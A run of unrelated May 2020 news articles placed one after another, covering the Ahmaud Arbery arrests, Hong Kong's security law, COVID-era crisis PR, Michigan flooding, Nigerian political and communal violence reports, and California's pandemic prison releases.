William Roddie Bryan Jr., 50, was arrested Thursday on charges of felony murder and criminal attempt to commit false imprisonment. Bryans neighbors, Gregory and Travis McMichael, were arrested on felony murder and aggravated assault charges after the video spread on social media, more than two months after the slaying.

Appearing alongside Reynolds on Friday was Cobb County District Attorney Joyette Holmes, making her first public comments since she was appointed on May 11 to take over prosecution of the case.

We are going to make sure that we find justice in this case. We know that we have a broken family and a broken community down in Brunswick, said Holmes, who is based in metro Atlanta.

Asked how Bryan could be charged with murder if he didnt pull the trigger on the weapon used to kill, Reynolds referred to Bryans arrest warrant, which says he tried to confine and detain Arbery without legal authority by utilizing his vehicle on multiple occasions before Arbery was shot.

Bryans attorney, Kevin Gough, has said his client played no role in Arberys death, asserting that Roddie Bryan is not now, and has never been, more than a witness to the shooting.

But the GBI director said Friday that if we believed he was a witness, we wouldnt have arrested him.

Under Georgia law, a felony murder charge means that a death occurred during the commission of an underlying felony and doesnt require intent to kill. A murder conviction in Georgia carries a minimum sentence of life in prison, either with or without parole.

Along with the investigation into Arberys killing, Reynolds said he expects the GBIs investigation into the handling of the case by two local prosecutors to be completed soon and turned over to the attorney generals office.

The GBI is also working hand in hand with federal officials, Reynolds said. Since Georgia lacks a hate crime law, any hate crime prosecution would have to be done by the U.S. Justice Department.

Arbery was slain Feb. 23 when the white father and son armed themselves and pursued the 25-year-old black man running in their neighborhood. Gregory McMichael told police he suspected Arbery was a burglar and that Arbery attacked his son before being shot. Bryan lives in the same subdivision, just outside the port city of Brunswick.

After Bryans video leaked online May 5, Gov. Brian Kemp called the slaying absolutely horrific. The GBI took over the case from local police, and the arrests of the McMichaels followed on May 7.

The Glynn County police incident report says Gregory McMichael told an officer that at one point Arbery began running back the direction from which he came and `Roddy attempted to block him which was unsuccessful. Its the only mention in the police report of any potential involvement by Bryan.

Speaking to reporters before Bryans first court appearance Friday, Gough said he wants the case tried quickly despite concerns about the coronavirus, adding: Roddie and I are quite comfortable with having this case tried this summer.

Gough declined to discuss Bryans actions the day of the shooting but said authorities overreached in charging him with felony murder.

These charges, if sustained, constitute a substantial expansion of criminal liability in Georgia that many in the fullness of time will likely find troubling, Gough said.

Attorneys for Arberys parents expressed gratitude over Bryans arrest.

We called for his arrest from the very beginning of this process, attorneys S. Lee Merritt, Benjamin Crump and L. Chris Stewart said in a statement. His involvement in the murder of Mr. Arbery was obvious to us, to many around the country and after their thorough investigation, it was clear to the GBI as well.

Gregory McMichael retired last year after more than two decades as an investigator for the local prosecutors office. Because of those ties, Brunswick Judicial Circuit District Attorney Jackie Johnson recused herself. Two other outside prosecutors stepped aside in succession before Holmes was appointed.

Now Bryan is behind bars along with the McMichaels in the Glynn County jail. A judge has yet to decide whether to free them on bond pending trial. Attorneys for the father and son have urged people not to rush to judgment.

___

Bynum reported from Savannah, Ga.
President Xi Jinping arrives for the opening session of the parliamentary session on Friday - Ng Han Guan/AP

Downing Street warned China to respect the autonomy of Hong Kong after the Chinese Communist Party submitted plans for a controversial new law that could crush dissent in the former British colony.

The intervention from No 10 came as Hong Kong braced for its first mass pro-democracy protests for months after Beijing said it would bypass the citys legislature to bring in sweeping new powers limiting freedom.

At the opening of its National People's Congress (NPC) this week, Chinese Premier Li Keqiang said China would establish a "sound" legal system and enforcement mechanisms to ensure national security in Hong Kong and Macau.

But pro-democracy activists in Hong Kong, as well as much of the international community, said the plan was an assault on Hong Kong's freedoms, with US Secretary of State Mike Pompeo calling it a "death knell" for the city's high degree of autonomy.

Under the agreement signed when Hong Kong became a Chinese region, rather than a British colony, in 1997, China pledged to respect the "one country, two systems" principle, guaranteeing Hong Kong freedoms not seen on the mainland.

A Downing Street spokesman said: "We expect China to respect Hong Kong's rights and freedoms and high degree of autonomy. As a party to the joint declaration the UK is committed to upholding Hong Kong's autonomy and respecting the one country, two systems model."

Asked if the proposals breach that model, he said: "We are monitoring this closely and our immediate priority is to clarify the details of what is being suggested."

Dominic Raab, the foreign secretary, said he was "deeply concerned". In a joint statement with Australian Minister for Foreign Affairs Marise Payne and Canadian Foreign Minister Francois-Philippe Champagne, he said China was "undermining the principle of One Country, Two Systems".

US Secretary of State Mike Pompeo, already at odds with China on a number of fronts including a blame game over the coronavirus pandemic and robust opposition to countries working with the Chinese company Huawei to develop 5G networks, condemned the move.

Story continues

"Hong Kong has flourished as a bastion of liberty. The United States strongly urges Beijing to reconsider its disastrous proposal, abide by its international obligations, and respect Hong Kong's high degree of autonomy, democratic institutions, and civil liberties... We stand with the people of Hong Kong."

In Hong Kong itself, activists have called on the public to take to the streets, re-galvanising an anti-government movement that kicked off last year before fading against increasingly violent crackdowns and amidst public health concerns.

Because of the coronavirus, many people may have rested and attended less protests, but now its time for us to stand up, Agnes Chow, member of Demosisto, a pro-democracy political party, told the Telegraph. People need to be ready to go on the street and fight against [the proposed law].

The legislation would criminalise behaviour deemed as subversion, terrorism, separatism and foreign interference, or any acts that severely endanger national security.

It also allows the ruling Communist Party to set up agencies to safeguard national security, and requires the citys chief executive to report regularly to the central government.

The national security proposal was tabled on the opening day of Chinas rubber-stamp parliament meetings  an event heavy on political theatre and light on actual legislating.

Delegates are expected to vote in favour next Thursday, the last day of the annual meeting, postponed for nearly three months due to the virus.

The Chinese government is trying to suppress the democratic movement, and also suppress our connection with the international community in the name of national security, said Ms Chow. Hong Kong is at a very dangerous stage right now with the abuse of power.

More anti-Beijing protests are expected in Hong Kong on Friday - Kin Cheung/AP

Rights groups have warned the steady erosion of freedoms in Hong Kong will be hard to turn back from, and could impact business confidence in the global financial centre.

Hong Kong's leader Carrie Lam, who is attending the NPC, vowed to "fully cooperate" with Beijing over the national security proposal and complete the legislation "as soon as possible".

Lam said national security laws to be drafted later by the NPC seek "to punish 'Hong Kong independence' and violent political elements that seriously harm national security".

In 2003, a similar national security bill introduced by the citys legislature was scrapped after half a million protested against the proposal.

Major protests have flared periodically since, culminating in Hong Kongs most intense unrest since the former colony was returned to Chinese rule in 1997, stretching over many months last year.

Demonstrations sparked over an extradition bill many saw as representative of an ongoing breakdown in the separation between the semi-autonomous legal & judicial systems and that of mainland China, where forced confessions are commonplace and courts see a 99.9 per cent conviction rate.

Over time, the movement mushroomed into a wider movement against Beijings encroaching influence.
Thomas Butler

In January, our firm took on a new client, New York Citys FDNY Emergency Medical Service workforce. Looking back, the ironies are remarkable.

The FDNY EMS came to us because its message simply wasnt resonating with the news media, nor hitting its target with the public. So, our team got to work. The original goal was that the workforce needed better positive recognition about the intensive medical training it undergoes and its status as front-line, first responders. In many New York neighborhoods, the FDNY EMS is referred to as the citys Street Doctors. But like Rodney Dangerfield, they got no respect.

In the six weeks that followed, we gained a lot of traction. The storylines we sought took shape and began playing out in some of New York Citys largest news and editorial pages as well as over the airwaves. It even brought forward several high-profile surrogates to stand in unity with this mostly female, underpaid and certainly under-respected workforce. We didnt plan for a crisis with this client, but then the world changed.

That very same client, the 4,500 members of the FDNY EMS that months ago feared its lower profile had become an impediment, had now been foisted into the limelight of American heroes battling the COVID-19 pandemic.

The resources required by the agency to address various storylines and a long and winding list of news media is significant, but the client has graced most of the major network television news channels, and with frequency and repetition told its story to the New York Times, Wall Street Journal, AP, Reuters and hundreds more.

Our original goal was to highlight the vital works EMS workers do and the need for them to be better compensated. As the coronavirus struck, we entered the heat of battlewith no off-the-shelf game planand were able to bring that important message to a massive audience.

Similarly, in the earliest days of the outbreaknearly two weeks before the state stay at home orderI received a call from the Co-CEOs of a prominent consumer beverage brand. Only 30-minutes earlier, theyd been notified by an employeenow in the hospital with pneumoniathat he was the first confirmed case of coronavirus in a county of 1.5 million.

This was going to be disclosed by the health department to the media first thing Monday morning. So, we had a few hours to prepare? Unfortunately, no, because at that very moment the company was hosting 150 people in its performance and restaurant space.

Together, we had to rapidly establish a plan that considered best-practices but didnt incite irrational fear. Americans had been reading all about the tragic death toll in Italy and China, but the public didnt have sufficient health and medical information. How then, would we or anyone address the public, confronted with such alarming news, and not cause permanent brand reputational harm?

Throughout the night and early that morning, the team prepared for a media onslaught, and for the health officials announcement to come. Believe me, theres no brand that wants to be first in this type of scenario. When the announcement was made by the health department, the company addressed the media inquiries in a prepared statement from our firm, factual but not alarmist, while steadfastly protecting the privacy of the employee.

The company announced it was immediately closing to the public for several weeks, to recognize a multi-week quarantine period agreed to with the health department and to voluntarily conduct a deep sterilization of its facilities. By now, weve all heard about deep cleaning thousands of times over, but back then it was still news. The firm addressed every media inquiry and the coverage was fair, considering the company had the misfortune of being first. Wed battened down the hatches for the day-two narrative, and then, something unexpected happened.

That day, we received a mid-day call from the leader of the FDNYs EMS union to notify us that it now had the first positive coronavirus case among New Yorks first responders. He said, we need to get the word out to the media now.

If you work long enough in this business, youll always find a time when that big client news scoop misses, simply because a bigger news event comes along. It just so happened that on this day, the bigger, more dominant news story was also controlled by us. Within minutes, our team was conveying the EMS story to some of New York Citys biggest editors and TV news channels. Both stories got told, but because we had the size, capacity and ability to conduct a rapid response to manage two simultaneous crisis situations that day, the outcome was considered a success by both clients. This all illustrates, again, that theres no template for a crisis.

For more than 25 years, Ive experienced my fair share of being called in to help a corporation, celebrity, CEO or non-profit to tamp down and then pivot in a positive direction away from a crisis. Many times, Ive suggested to various CEOs whose company reputations were marked with a bullseye, that the work we can accomplish together, when executed properly, can be a means for the brand to emerge even stronger.

In this pandemic, businesses have needed to scramble simply to survive. Despite some nerve-wracking early weeks, the fact that our firm has a significant crisis management practice and long-established work teams that mirror the operations of a newsroom, I believe has given us a greater resiliency.

Throughout this pandemic, weve executed crisis planssome made on the flyfor dozens of clients in unchartered waters, regardless of their industry. The shuttering of retail locations and protection of staff or overcoming concerns reagrding layoffs. In this time, when the existence of many long, well-established brands is threatened, its the innovative, out-of-the box thinking that our industry is recognized for that will come out in the end. Ive spoken with many peers in the PR, marketing and advertising side of the business and many have said their world has been turned upside down.

By this point in my career, having worked with hundreds of companies, brands, campaigns, litigations, I thought, frankly, that Id experienced so much, including representing the FDNYs firefighters before and after the 9/11 attacks and standing amidst the rubble at Ground Zero. But then a pandemic occurred.

***

Thomas P. Butler is President of Butler Associates Strategic Communications & PR.
MUSKEGON COUNTY, MI  At least 1,400 Muskegon County residents have reported damage to their homes in the aftermath of historic rainfall earlier this week that left many parts of Michigan flooded.

As a result of the significant flood damage in the area, county homeowners may be eligible for federal assistance. The financial relief would likely be in the form of low-interest loans rather than grants that dont have to be paid back, according to the countys emergency management director.

Local government officials are encouraging residents to report damage due to the heavy rainfall and flooding. Countywide administrators from township, city and county levels met virtually Friday, May 22 to assess the damages of the rainfall and discuss potential funding relief options in Muskegon County.

Muskegon County Director of Emergency Management Richard Warner said it is vital for residents to self-report structure damages through a statewide survey, currently available on the Muskegon County website and Facebook page. The more homeowners that report damage, the more the county has a chance to be eligible for funds.

The survey must be completed by 8 a.m. Tuesday, May 26, he said.

Although over 1,400 residents have emailed the Muskegon County Department of Emergency Management to report structure damage, that information must be re-submitted by residents through the statewide survey, Warner said.

As of 11 a.m. Friday, only 497 damage reports have been submitted through the statewide survey, which will be used to assess funding options.

RELATED: Muskegon residents tackling thousands of dollars in storm damage repairs from horrific flooding

Warner said the county has the best chance to be eligible for emergency relief funding from the U.S. Small Business Administration.

If Muskegon County qualifies for the funds, they would be distributed through low-interest disaster loans that homeowners, renters and businesses could apply for.

This is not free money, Warner told countywide administrators. It will come in a low interest loan. You do have to pay it back.

Warner said he does not believe Muskegon County will be eligible for FEMA disaster relief funding.

We would need to be more like Midland right now, with houses underwater, to qualify for FEMA, Warner said. We think its going to be SBA, if we get enough houses.

RELATED: Its devastating: Midland flood victims take shelter, then assess damage to their homes

Reported structures will be divided into two categories of damages. The minor damages category includes structures with less than 18 inches of water in an essential living space, where damage does not affect structural integrity" such as damage to drywall, insulation or foundation.

The major damages category includes structures with a water line 18 inches above the floor in an essential living space. Basements are not typically included in this assessment, although Warner said finished basements will be considered essential living spaces.

Major damages involve substantial failures of structural elements to walls, foundations and roofs, including crumbling, collapsing and horizontal cracks of more than two inches, according to the field damage assessment guide shared by Warner.

Counties must meet a threshold of at least 25 structures in the major damages category to be eligible for SBA funding.

Warner told MLive Friday morning he did not have information available as to how many structures currently meet that threshold in Muskegon County.

The emergency director said hes currently waiting to hear back from state officials for further guidance on how to dissect the information submitted to the survey and divide the reported structures into the two categories.

If Muskegon County qualifies for the disaster assistance funding, all adjacent counties that border Muskegon will also be eligible, Warner said. That means residents in Kent, Ottawa, Oceana and Newaygo counties could also apply for the funds.

Ottawa County Emergency Manager Nick Bonstell told MLive that out of 368 structure damage reports submitted through the statewide survey, only three structures in Ottawa County fall under the major damages category and 15 fall under minor damages.

Muskegon County received an historically high 3.8 inches of rainfall from Sunday to Tuesday morning, according to the National Weather Service.

Residents are now facing the catastrophic aftermath of major flooding, the likes of which many Muskegon homeowners said they have never seen before.

More on MLive:

West Michigan residents face catastrophic flooding after record-breaking rainfall

Heavy rain storms wash out streets, flood basements, submerge docks in Muskegon

Flooding in Michigan: Everything we know about Midland County dam break

Officials work to dispel rumors amid record-breaking Michigan flooding

Flood damage extends beyond Midland County, causing millions in damage in northern Michigan
A police officer has been rushed to hospital after being attacked by a group of youths he was investigating for a possible breach of Covid-19 guidelines.

Surrey Police said a lone officer was called to West Byfleet Park outside south-west London at 7.40pm to a report that a group of young males were contravening social distancing guidelines.

The officer was attacked while engaging with the men, and was taken to hospital with minor injuries to the wrist and head, the force said.

Police said three people - one adult and two juveniles - were arrested a short time later and taken into custody.

Under the new lockdown guidance, people can exercise outside as often as they wish, can also sit and rest outside.

Exercise or recreation can be alone, with other members of the household, or with one other person from outside the household, while keeping two metres apart.

Any witnesses were asked to call police on 101, quoting PR/ 45200052505.
Fewer and fewer are like Alvin Skyles who, until this pandemic isolation, relished the chance to take part in patriotic events, including the 2018 Montgomery Festival, where at age 94, he rode in an open Jeep with military music playing as he waved to spectators. A year later, he was honored as the Hometown Hero at the Kane County Cougars game and threw out the first pitch. That same year, Skyles, who has a private pilots license, was able to fly - but not land - a Cessna after a group of veterans put together a surprise for him.
A great many of our fellow citizens, who came to this city years ago to make a living, are now rushing back to their impoverished villages, often through desperate means. This reverse migration was triggered by the sudden closure of all work (and hence employment) inherent to the prolonged lockdown caused by the coronavirus pandemic.

But this young man with a stylish haircut is a fresh arrival from his village to our city.

I came to Delhi a few months ago.... just before the lockdown began, says Sunny Kumar. A security guard, he is manning the gates of a south Delhi neighbourhood. At 18, this is Mr Kumars first ever job in life. On this uncomfortably hot afternoon, hes standing out quite starkly from a couple of other guards on duty with him. Theres something about his brooding demeanour a kind of magnetic stage presence hard to miss. And then theres the matter of his haircut, so attention-grabbing. Running his fingers through his hair as if suddenly conscious of them, Mr Kumar blushes, confessing that Its a new style... I got it after arriving in Delhi.

The young man, who finished school last year, reveals he never aspired to become a guard. I left my village (in Nalanda, Bihar) for a job, any job, due to the conditions at homehe uses the Hindi word paristhiti. His father is paralytic, he says matter-of-factly. The eldest among four siblings, I felt it was my responsibility to look after the family and to lessen the burden my mother was experiencing in running the household.

He knew quite a few people of his village working in Delhi, and so he easily landed up with the current job through this precious network of acquaintances. I decided to start this life in Delhi after giving it a lot of thought, he mutters.

Mr Kumar is now sufficiently established to be able to send money frequently to home. He lives in Tughlakabad and is full of plans for his future.

After some months I will try to enrol in a college for graduation, he says, as another guard, his colleague in mask, listens to him intently. Ultimately, I want to join the army.

And now he reveals another dream of his. Raising his eyes towards the interlocutor, he declares a tad hesitantly, I also intend to get modelling assignments. Having said this, he looks almost relieved and helps himself to a bottle of water kept inside the guards cabin.
By Ayya Lmahamad

Azerbaijan is in top three sugar importing countries from Russia, accounting 143.600 tons of Russias imports, Agroanalytic Center under the Ministry of Agriculture of Russia has reported.

The leaders in Russian sugar purchases this season were Uzbekistan (163.4 thousand tons), Kazakhstan (156.600 tons), Azerbaijan (143.600 tons), Tajikistan (119.100 tons), Ukraine (67.000 tons) and Belarus (47.900 tons). The share of these six countries was 697.600 tons, or 79.6 percent of all white sugar exported from Russia.

According to the center, export of white sugar from Russia per month (April 13- May 10) exceeded the previous months figure by 64.5 percent, amounting to 124.600 tons. During this period, 42.350 tons of sugar was sent to Azerbaijan and 23.300 tons to Uzbekistan. Overall, exports during the month amount to 135.600 tons of sugar.

As of May 10, export or the period of 2019-2020 exceeded 1 million tons, with increase by 7.7 compared to the period of 2018-2019.

According to preliminary data, about half of this volume - 496.300 tons - has been exported from the country in the current calendar year.

Leaders in sugar shipments abroad are Krasnodar region (48.000 tons), Lipetsk region (12.500 tons), Kursk region (12.100 tons) and Belgorod region (11.000 tons).

In late April, the Russian government adopted a resolution allowing the concluding of export agreements on the sugar market, which is also aimed at supporting exports, including by reducing logistics costs.

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Follow us on Twitter @AzerNewsAz
The Government of Rivers state said it uncovered plots by some disgruntled elements to impose an emergency rule on the state.

The government on Wednesday May 20th, said some citizens of the state residing in Abuja were planning to cause a breakdown of law and order in the state to force the declaration of a state of emergency.

Pastor Paulinus Nsirim, the state Commissioner for Information and Communications, in a statement released on Wednesday May 20, said such persons started making such attempts from 2015.

Read the statement below;

The Rivers State Government has uncovered plans by some citizens of the State who reside in Abuja to cause a breakdown of law and order in order to declare a State of Emergency.

These persons whose attempts to declare State of Emergency in the State since 2015 have never succeeded because of Gods intervention.

They did everything within their powers to ensure that the 2019 Governorship Election results were not announced but also failed.

As the build up for the 2023 elections and jostle for Presidential and Vice-Presidential tickets is gathering momentum, they want to use COVID-19 to create a crisis as if the State is at war with the Federal Government.

They have decided to create unnecessary tension as if indigenes of Ahoada, Eleme and Port Harcourt are fighting with Northerners not to carry out their legitimate businesses.

People forget history quickly. Since 2015, there have farmers/herdsmen clashes in Nasarrawa, Plateau, Taraba, Ebonyi, Cross River, Kaduna, Yobe and Bornu States.

Throughout this COVID-19 pandemic, States like Enugu, Lagos, Cross River, Akwa Ibom, Edo and Kaduna States have been intercepting lorries carrying human beings instead of foodstuffs.

This is the same thing that the Rivers State Government is doing to protect the State from COVID-19.

Bandits have been killing innocent people in Sokoto, Katsina, Zamfara and Kaduna States and indigenes of these States no matter their political differences are working together to protect their States.

But here in Rivers State, instead of supporting our efforts, these Abuja politicians are busy looking for a State of Emergency because they want to acquire power.

We are alarmed at these hideous plots against our State. Rivers State has never fought a war with strangers or neighbours.

Our fight against COVID-19 is to protect the lives of everyone living and doing business in the State.

We are aware that some shameless politicians are playing politics with COVID-19.

No wonder one of the respected chieftains of the All Progressives Congress (APC) had to expose their plan to use COVID-19 to launch into the politics of the State.

This is what we see in the lives of ungodly, dangerous and power hungry people who claim to love the State.

After their clandestine meetings they have voted huge sums of money to entice and recruit gullible persons to carry out their plan.

All patriotic Rivers State indigenes are hereby placed on alert to resist the devilish plans of these unpatriotic elements who connive with enemies of the State to cause confusion.

As a State, we have always defeated these sadists and with God on our side, we shall overcome them. the statement read
The Covid-19 death toll of doctors in Madhya Pradesh's Indore rose to three after a senior physician died during his treatment at city's Choithram hospital on Thursday night.

Earlier two private practitioners, Dr Shatrughan Panjwani and Dr Om Prakash Chauhan, had died in the city after being infected by the novel coronavirus.

Dr BK Sharma, one of the leading physicians in the city, had studied medicine at London and had an old clinic in Indore's Raj Mohalla area.

The 81-year-old doctor, despite his age, was offering services at many hospitals in the city and perhaps contracted the infection from one of the patients he treated, his family said.

Initially, he was rushed to a yellow-category hospital (non-Covid-19) after falling ill but was later shifted to Choithram Hospital after his condition deteriorated.

With high number of Covid-19 positive cases, Indore remains one of the most-affected cities in the state. The cases tally in the city surged to 2,850 on Friday with 76 fresh infections, confirmed a late night health bulletin on Thursday.

So far, Madhya Pradesh has reported 6,226 coronavirus cases including 273 deaths. The numbers of patients surged to 1,197 in Bhopal and 504 in Ujjain.
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Information reaching 247ureports.com indicates that the Adara community in Kajuru Local Government Area [LGA] has suffered another gruesome attack by the Fulani militia.

The attack began at minutes to 2am. The Fulani militia armed with AK47 and other automatic weapons simultaneously launched the attack on six Adara villages  killing countless numbers of children and women. This is according to the leadership of Adara people.

In the process, some of the Adara villages were completely hazed down by the militias. The exact number of dead were not immediately available owing to the remoteness of the area. It is located Kala  the biggest settlement in the area. It shares a boundary with Kauru LGA.

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The attached area is a farming community.

The Adara community has become a repeat victim of the Fulani attacks. In February 2019, an estimated 280 Adara people lost their lives to Fulani militia. This was following Governor El Rufai statement that about 130 Fulanis were killed by Adara people. He made the statement to President Buhari publicly at the Presidential villa. The resulting attacks rendered 15,000 Adara people homeless.

247ureports.com spoke to a source who witnessed the attack. The source indicated that he did not see any casualties. He explained that the evening before the attack that the community witnessed helicopters that were hovering around the Adara villages  going and coming. The community grew suspicious of the helicopter. Before each attack, there is always a helicopter that will hover around.

The community members as a result ran to the neighboring in Doka. All of them ran to Doka. When the Fulani militia came, they saw nothing.

The source added that the attack was coming from Laduga, a Fulani settlement area. Previous a cache of weapons were discovered by the military at Laduga.

stay tuned
Veteran radio presence Randy McCarten will return to 99.5 The River nearly five months after being let go as part of iHeart medias nationwide reorganization, according to AllAccess.com.

McCarten will host The River Morning Show with Randy McCarten."

The stations morning show, which airs from 5-10 a.m. weekdays on 99.5 The River, has seen a revolving door of hosts over the last several years.

In 2018, Tracy Villaume joined Kevin Rush when Shanna left the morning program to join a station in Milwaukee. Kevin Rush then left the morning show in the summer of 2019 and headed to Florida.

Jason Howard filled Rushs role in November of 2019. He moved here from the Cayman Islands.

Sign up for The Knick  Get the latest news and some area history with our afternoon newsletter.

McCarten replaces Howard and Villaume who hosted the morning show together the past six months.

I am looking forward to focusing on my family as we recover from the pandemic and I am very happy for Randy, said Villaume when reached for comment.
ATLANTA, May 22, 2020 /PRNewswire/ -- A global livestream memorial service will honor the life of Christian evangelist and apologist Ravi Zacharias, who died on May 19, at age 74, after a brief battle with cancer. The celebration of Zacharias's life and legacy will be streamed live at RZIM.org/RaviMemorial on May 29 at 11 a.m. ET.

Ravi Zacharias spent the past 48 years traveling the world to commend the Christian faith and address life's greatest existential questions of origin, meaning, morality and destiny with eloquence and grace for a variety of audiences. Through his founding and leadership of Ravi Zacharias International Ministries (RZIM), Zacharias launched a global team of nearly 100 Christian scholars and authors who continue to speak, resource, train and address the questions of millions around the world.

"The story of the gospel is the story of eternal life. My life is unique and will endure eternally in God's presence. I will never be 'no more.' I will never be lost because I will be with the One who saves me," wrote Zacharias in Seeing Jesus from the East (Zondervan, 2020).

Tributes to Zacharias will include homages from family and friends, including RZIM President Michael Ramsden, athlete and author Tim Tebow, Brooklyn Tabernacle Senior Pastor Jim Cymbala, and Passion Movement Founder Louie Giglio. Musical artists Matt Redman and Lecrae will perform.

WHAT: Livestream Memorial Service for Ravi Zacharias



WHEN: Friday, May 29 at 11 a.m. ET

(Following the initial livestream, the video will be available for replay in perpetuity.)



WHERE: RZIM.org/RaviMemorial



WHO: The memorial message will be given by Louie Giglio. Other program participants include family, Ravi Zacharias International Ministries leaders, musicians and friends who have been part of the global network of RZIM.

The Zacharias family has asked that in lieu of flowers gifts be made to the ongoing work of RZIM.

Official media information is available at the online newsroom, including background information, high-resolution photos and downloadable video footage.

About RZIM

Founded in 1984 by Ravi Zacharias, Ravi Zacharias International Ministries (RZIM) brings the gospel of Jesus Christ to millions around the world. RZIM focuses on evangelism, apologetics, spiritual disciplines, training and humanitarian support. The organization's goal is to touch both the heart and the intellect of the thinkers and influencers in society by tackling some of the toughest questions about faith and providing thoughtful answers. For more information visit RZIM.org.

CONTACT: [email protected]

SOURCE Ravi Zacharias International Ministries (RZIM)

Related Links

https://www.rzim.org


LOS ANGELESIn short order, the coronavirus pandemic has ushered in a sweeping and historic emptying of Californias overcrowded prisons and jails, as officials have dramatically lowered the number of people held in custody to avert deadly outbreaks.

State data show Californias prisons have released about 3,500 inmates while the daily jail population across 58 counties is down by 20,000 from late February.

The exodus is having a profound and still-evolving effect: Those leaving custody enter a vastly different world in which a collapsed economy, scant job opportunities and the closure of many government offices have compounded the challenges of getting lives back on track.

Re-entry programs are struggling to meet the deluge of incoming inmates as the disease has forced them to close shelters and serve fewer people.

People are continuously getting out ... Where are those folks going? said Jay Jordan, executive director of Californians for Safety and Justice, a non-profit criminal justice reform group. Seventy-five percent of people getting out of prison right now have no plan. Nowhere to go.

Some of those released from jails unknowingly carry the novel coronavirus, potentially infecting family, friends and the community. Advocates say many run the risk of ending up homeless when jailers dont connect them to services.

Others have taken advantage of the pandemic to commit more offences, in some cases within hours of leaving jail. Law enforcement leaders and many district attorneys see an intensifying public safety threat posed by the mass release as well as a trampling of the rights of crime victims.

There was a one-size-fits-all approach which was really difficult to understand, said Sheriff Ian Parkinson of San Luis Obispo County, where no jail staff or inmates have contracted the virus. Now Im putting people out on the street that a judge might not put out.

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On a typical day, there are still just over 50,000 people in Californias constellation of jails and 116,000 in state prisons.

The releases have been accomplished through a patchwork of measures, nearly all of which have generated controversy, including reduced bail for some and early release for those due to be out within 60 days. Others awaiting trial gained freedom through approvals from prosecutors, public defenders and judges, a process that resulted in about 700 people in L.A. County getting out. Such measures have pushed L.A. Countys jails  the largest system in the nation  from a pre-pandemic population of 17,000 down to less than 12,000.

It would be very difficult if we did nothing, and left all 17,000 inmates in, to contain the spread of this disease, said District Attorney Jackie Lacey.

Perhaps most controversially, the state Judicial Council ordered zero bail last month for misdemeanour and low-level felonies.

The high risk of infections in institutional settings such as nursing homes has informed decisions to reduce jail and prison populations.

Fears of widespread outbreaks have been borne out: At the federal prison at Terminal Island, about 700 inmates have tested positive for the coronavirus, and eight have died. More than 900 inmates in a federal prison in Lompoc contracted the virus, the worst outbreak in the federal prison system. Five died at the mens prison in Chino, where 443 inmates have tested positive for the virus.

Dr. Mark Malek, the former director of infection control and epidemiology for the L.A. County Sheriffs Department, said jails and prisons are constantly challenged by infectious diseases, but COVID-19 poses particular threats.

Social distancing can be done to a certain degree, but you cant take 100 people in a dorm and quarantine them separately. You have to quarantine them in the dorm, Malek said. And we are not dealing with a 100 per cent perfect healthy population here.

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Edward Harris, whose record includes convictions for domestic violence and being a felon in possession of a firearm, was scheduled to walk out of Centinela State Prison in the Imperial County desert in late May when a parole officer told him Youre gonna be leaving fast and to pack up.

He was among the 3,500 prison inmates who had their release accelerated by Gov. Gavin Newsom. But instead of going home, an old warrant caused him to be transferred into Riverside Countys jail system, which was also experiencing an outbreak.

He was finally released the night of April 9, but had no place to go. His family was hunkering down in Texas, and he didnt know if he could reach any friends nearby.

They got a phone right there that you get to use, but once again its a collect call from a payphone, Harris, 35, said in an interview. Here it is like 10 oclock at night, whos answering the phone? A collect call at that?

A lifeline came in the form of a phone number scrawled on a Post-It note by his cellmate connecting him with Jordans group, which has paid for his hotel room.

Advocates and service providers statewide have reported a similar lack of planning over the flood of early releases. Susan Burton, founder of the re-entry program A New Way of Life, said the L.A. County Sheriffs Department refused to co-ordinate releases from its womens jail.

Last month, about an hour before Burton set out to pick up a woman eligible for release because of a pre-existing medical condition, the Sheriffs Department called and told her not to come. Burton said she doesnt know where the woman ended up.

I felt it was really painful that they would rather just release the person instead of having a designated place for this woman to shelter in place, said Burton, who opened a nine-bed house to prepare for the surge of early releases.

Challenges persist even when jails do co-ordinate with re-entry groups. When Santa Clara County became an early locus of outbreaks, the Sheriffs Department asked one of the largest local shelters, Home First, to expect an influx of 200 to 300 inmates. Home First had to turn them away.

Andrea Urton, chief executive of the Milpitas shelter, said she had to make the difficult choice of protecting those already under her care from potential infections.

We felt that we needed to make the decision because if we loaded up our facilities to max capacity ... we would have an outbreak in our homeless shelters, Urton said.

In Los Angeles County, Homeboy Industries had to temporarily close its doors in mid-March due to financial headaches and distancing restrictions just as nearby Mens Central Jail was releasing scores of inmates.

We see the guys that come from the county jail, in their black paper jumpsuits, said associate executive director Hector Verdugo. And were saying, Im sorry brother, but our doors are closed for now due to COVID-19, but heres a care package.

Re-entry providers statewide said the failure of some jailers to guide those who are being released toward transitional housing could encourage recidivism. Many ex-offenders had no homes to go to before the pandemic, and with shelter and employment options more limited now, some may wind up stealing to survive.

They are releasing people ... that have nowhere to go. Then the sheriffs departments are turning around saying these people will commit crimes, Jordan said. How inhumane is that?

In L.A. County, the Office of Diversion and Reentry typically helps inmates with mental illness or substance abuse problems find housing, but the coronavirus has forced a new strategy.

We slowed our work down in court and shifted our resources to address the number of people released from jail, said Peter Espinoza, a retired Superior Court judge who now heads the office. Espinoza said they added 211 beds in new housing sites, and found housing for more than 170 inmates in a two-week period.

He said inmates in L.A. County generally are not being tested for COVID-19 before their release unless they show symptoms and many service providers now are checking for symptoms when they arrive.

The case of Frank Cooper underscores the risks of inmates as a vector for spreading the virus. Cooper was scheduled to be released from Riverside County jail in November, but was let go on April 24 to serve the rest of his term on house arrest. On his way out, jail staff wore gloves and masks, and put his personal belongings in a bag marked COVID.

Cooper was confused  he wasnt sick and hadnt even been tested. But a deputy who drove Cooper to the county jail in Banning to be released said the measures were necessary because his dorm was quarantined. Before leaving, a nurse took his vital signs and swabbed him for the virus.

Riverside County officials have yet to officially give him his results. Cooper sought his own test and learned May 2 that he was positive for the coronavirus.

Its only because Im a nurse and I did take some precautions, said his wife, Jackie Cooper. If I had just been a lay person going to pick him up with no mask, kissing him, hugging him ... it could be a different scenario now.

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Once outside, the closure of businesses and government services poses daily obstacles. Angela Hernandez, 38, was released from prison March 19, the day Newsom announced a statewide shelter-in-place order. She secured a spot at one of Burtons re-entry homes in L.A., but needed to return to Bakersfield for a parole check-in and feared riding a bus would risk exposure to the virus.

I didnt want to put myself in a bad predicament, but I didnt want to wait it out either, Hernandez said.

Burton said she ended up driving Hernandez to Bakersfield. When they arrived, Burton said, the parole officer wasnt there. She checked in and filled out some paperwork, ending a trip they both viewed as unnecessary.

After nearly 11 years in state prison, Sureka Weinberg, 42, was released April 17 and entered a South L.A. residential program.

